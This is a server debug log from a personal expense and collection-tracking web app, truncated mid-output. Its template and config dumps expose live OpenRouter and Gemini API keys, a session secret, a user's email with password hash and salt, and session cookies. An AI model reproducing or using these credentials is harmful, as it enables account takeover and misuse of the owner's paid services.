2026-07-28T15:26:45.462Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-28T15:26:45.462Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-28T15:26:45.467Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-28T15:26:45.467Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-28T15:26:45.474Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-28T15:26:45.479Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-28T15:26:45.480Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-28T15:26:45.491Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-28T15:26:45.983Z server-connect:router Serving templateView /
2026-07-28T15:26:46.031Z server-connect:app Executing action step identify
2026-07-28T15:26:46.031Z server-connect:app options: { provider: 'security' }
2026-07-28T15:26:46.037Z server-connect:auth No login cookie found
2026-07-28T15:26:46.038Z server-connect:output identity: false
2026-07-28T15:26:46.038Z server-connect:app Executing action step restrict
2026-07-28T15:26:46.038Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-28T15:26:46.044Z server-connect:output restrict: undefined
2026-07-28T15:26:46.207Z server-connect:router Serving templateView /login
2026-07-28T15:26:46.207Z server-connect:app Executing action step identify
2026-07-28T15:26:46.207Z server-connect:app options: { provider: 'security' }
2026-07-28T15:26:46.207Z server-connect:auth No login cookie found
2026-07-28T15:26:46.207Z server-connect:output identity: false
2026-07-28T15:26:46.207Z server-connect:router Render template layouts/authentication
2026-07-28T15:26:46.208Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    referer: 'https://www.ems.sanjaychaurasia.xyz/',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '136.66.160.30',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-07-29T15:26:46.205Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '136.66.160.30',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    HTTP_REFERER: 'https://www.ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '136.66.160.30',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-07-30T08:52:44.711Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-30T08:52:46.978Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-30T08:52:47.841Z server-connect:setup:upload Upload middleware configured.
2026-07-30T08:52:47.841Z server-connect:secure CSRF Protection initialized
2026-07-30T08:52:47.847Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-30T08:52:47.849Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-30T08:52:47.851Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-30T08:52:47.853Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-30T08:52:47.859Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-30T08:52:47.863Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-30T08:52:47.880Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-30T08:52:47.891Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-30T08:52:47.897Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-30T08:52:47.898Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-30T08:52:47.898Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-30T08:52:47.903Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-30T08:52:47.908Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-30T08:52:47.918Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-30T08:52:47.922Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-30T08:52:47.994Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-30T08:52:47.996Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-30T08:52:48.000Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-30T08:52:48.006Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-30T08:52:48.009Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-30T08:52:48.011Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-30T08:52:48.019Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-30T08:52:48.021Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-30T08:52:48.028Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-30T08:52:48.029Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-30T08:52:48.033Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-30T08:52:48.035Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-30T08:52:48.037Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-30T08:52:48.043Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-30T08:52:48.045Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-30T08:52:48.047Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-30T08:52:48.049Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-30T08:52:48.053Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-30T08:52:48.055Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-30T08:52:48.061Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-30T08:52:48.065Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-30T08:52:48.065Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-30T08:52:48.076Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-30T08:52:48.568Z server-connect:router Serving templateView /
2026-07-30T08:52:48.571Z server-connect:app Executing action step identify
2026-07-30T08:52:48.571Z server-connect:app options: { provider: 'security' }
2026-07-30T08:52:48.573Z server-connect:auth No login cookie found
2026-07-30T08:52:48.573Z server-connect:output identity: false
2026-07-30T08:52:48.573Z server-connect:app Executing action step restrict
2026-07-30T08:52:48.574Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-30T08:52:48.578Z server-connect:output restrict: undefined
2026-07-30T08:52:48.799Z server-connect:router Serving templateView /login
2026-07-30T08:52:48.800Z server-connect:app Executing action step identify
2026-07-30T08:52:48.800Z server-connect:app options: { provider: 'security' }
2026-07-30T08:52:48.800Z server-connect:auth No login cookie found
2026-07-30T08:52:48.800Z server-connect:output identity: false
2026-07-30T08:52:48.800Z server-connect:router Render template layouts/authentication
2026-07-30T08:52:48.801Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'sec-ch-ua': '"Not;A=Brand";v="8", "Chromium";v="150", "Google Chrome";v="150"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'cross-site',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-07-31T08:52:48.797Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SEC_CH-UA': '"Not;A=Brand";v="8", "Chromium";v="150", "Google Chrome";v="150"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'cross-site',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-07-30T08:53:02.629Z server-connect:router Serving serverConnect /api/access-control/login
2026-07-30T08:53:02.630Z server-connect:app Executing action step identify
2026-07-30T08:53:02.631Z server-connect:app options: { provider: 'security' }
2026-07-30T08:53:02.696Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2026-07-30T08:53:02.700Z server-connect:auth setCookie 14 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2026-07-30T08:53:02.752Z server-connect:output identity: 14
2026-07-30T08:53:02.752Z server-connect:app Executing action step login
2026-07-30T08:53:02.752Z server-connect:app options: {
  provider: 'security',
  remember: 1,
  username: '{{$_POST.email}}',
  password: "{{$_POST.password.sha256('yajnas')}}"
}
2026-07-30T08:53:02.754Z server-connect:auth setCookie 14 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2026-07-30T08:53:02.799Z server-connect:output identity: 14
2026-07-30T08:53:02.799Z server-connect:app Executing action step restrict
2026-07-30T08:53:02.799Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-30T08:53:02.801Z server-connect:output restrict: undefined
2026-07-30T08:53:03.034Z server-connect:router Serving templateView /
2026-07-30T08:53:03.035Z server-connect:app Executing action step identify
2026-07-30T08:53:03.035Z server-connect:app options: { provider: 'security' }
2026-07-30T08:53:03.035Z server-connect:output identity: 14
2026-07-30T08:53:03.035Z server-connect:app Executing action step restrict
2026-07-30T08:53:03.035Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-30T08:53:03.036Z server-connect:output restrict: undefined
2026-07-30T08:53:03.036Z server-connect:app Executing action step restrict
2026-07-30T08:53:03.036Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-30T08:53:03.037Z server-connect:output restrict: undefined
2026-07-30T08:53:03.037Z server-connect:router Render template layouts/main
2026-07-30T08:53:03.038Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Not;A=Brand";v="8", "Chromium";v="150", "Google Chrome";v="150"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/login',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3Awsw1BJgIH%2BfZI5hxuATnjA%3D%3D.fdrEdUEeox1jdydPX0sMNS8omGeW7GjgvVHO6Xc1TYAR6cEN8GLhsqE%2BEqkt2WCYPEe1LxgxQNmJ6Y%2FN%2FgMMcH86bs%2Byx%2BFjElvyxmIrEtK3RwOLTq%2F0u9inUGntd5xTxCh5oUuZRk2Xx4RgEDieLFe0AbIDZwJrotI%2BdW7arIc%3D.EAXlarOe93hyKo3xlYVK1zaWrIghvl8ltxB33U5UTM4; your_r_git.sid=s%3A45lE8Ye2Jlpp_zipIBTK7qObACdgOWap.DkOYaJ3buF83Uyo6amki0dXYocOdDn%2FN9njxn%2FG2cMA',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-07-31T08:53:02.801Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 14
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Not;A=Brand";v="8", "Chromium";v="150", "Google Chrome";v="150"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/login',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3Awsw1BJgIH%2BfZI5hxuATnjA%3D%3D.fdrEdUEeox1jdydPX0sMNS8omGeW7GjgvVHO6Xc1TYAR6cEN8GLhsqE%2BEqkt2WCYPEe1LxgxQNmJ6Y%2FN%2FgMMcH86bs%2Byx%2BFjElvyxmIrEtK3RwOLTq%2F0u9inUGntd5xTxCh5oUuZRk2Xx4RgEDieLFe0AbIDZwJrotI%2BdW7arIc%3D.EAXlarOe93hyKo3xlYVK1zaWrIghvl8ltxB33U5UTM4; your_r_git.sid=s%3A45lE8Ye2Jlpp_zipIBTK7qObACdgOWap.DkOYaJ3buF83Uyo6amki0dXYocOdDn%2FN9njxn%2FG2cMA',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 14,
  content: '/index'
}
2026-07-30T08:53:05.047Z server-connect:router Serving serverConnect /api/masters/get-items
2026-07-30T08:53:05.048Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-07-30T08:53:05.048Z server-connect:app Executing action step identify
2026-07-30T08:53:05.048Z server-connect:app options: { provider: 'security' }
2026-07-30T08:53:05.049Z server-connect:output identity: 14
2026-07-30T08:53:05.049Z server-connect:app Executing action step restrict
2026-07-30T08:53:05.049Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-30T08:53:05.049Z server-connect:app Executing action step identify
2026-07-30T08:53:05.049Z server-connect:app options: { provider: 'security' }
2026-07-30T08:53:05.049Z server-connect:output identity: 14
2026-07-30T08:53:05.049Z server-connect:app Executing action step restrict
2026-07-30T08:53:05.049Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-30T08:53:05.051Z server-connect:output restrict: undefined
2026-07-30T08:53:05.052Z server-connect:app Executing action step select
2026-07-30T08:53:05.053Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-07-30T08:53:05.055Z server-connect:output restrict: undefined
2026-07-30T08:53:05.055Z server-connect:app Executing action step single
2026-07-30T08:53:05.055Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-07-30T08:53:05.063Z server-connect:output list: [
  {
    item_name: 'Budwiser Beer',
    item_id: 502,
    category_name: 'Alcohol'
  },
  {
    item_name: 'Godfather Beer',
    item_id: 536,
    category_name: 'Alcohol'
  },
  {
    item_name: 'Bira Super Strong Beer',
    item_id: 544,
    category_name: 'Alcohol'
  },
  {
    item_name: 'Tuborg Strong',
    item_id: 562,
    category_name: 'Alcohol'
  },
  { item_name: 'Breezers', item_id: 641, category_name: 'Alcohol' },
  { item_name: 'Vodka', item_id: 644, category_name: 'Alcohol' },
  {
    item_name: '6 Fields Beer',
    item_id: 720,
    category_name: 'Alcohol'
  },
  {
    item_name: 'Kingfisher Beer',
    item_id: 766,
    category_name: 'Alcohol'
  },
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'School Dress', item_id: 662, category_name: 'Apparel' },
  {
    item_name: 'Jocket Trouser',
    item_id: 734,
    category_name: 'Apparel'
  },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Baby Care' },
  {
    item_name: 'Johnson Baby Product',
    item_id: 162,
    category_name: 'Baby Care'
  },
  { item_name: 'Pampers', item_id: 181, category_name: 'Baby Care' },
  {
    item_name: 'Feeder Bottle',
    item_id: 187,
    category_name: 'Baby Care'
  },
  {
    item_name: 'Mamy Poko Pankts',
    item_id: 196,
    category_name: 'Baby Care'
  },
  { item_name: 'Baby Socks', item_id: 247, category_name: 'Baby Care' },
  {
    item_name: 'Johnson Baby Cream',
    item_id: 249,
    category_name: 'Baby Care'
  },
  { item_name: 'Baby Items', item_id: 250, category_name: 'Baby Care' },
  { item_name: 'Huggies', item_id: 290, category_name: 'Baby Care' },
  {
    item_name: 'Cold Drink',
    item_id: 59,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Tea',
    item_id: 100,
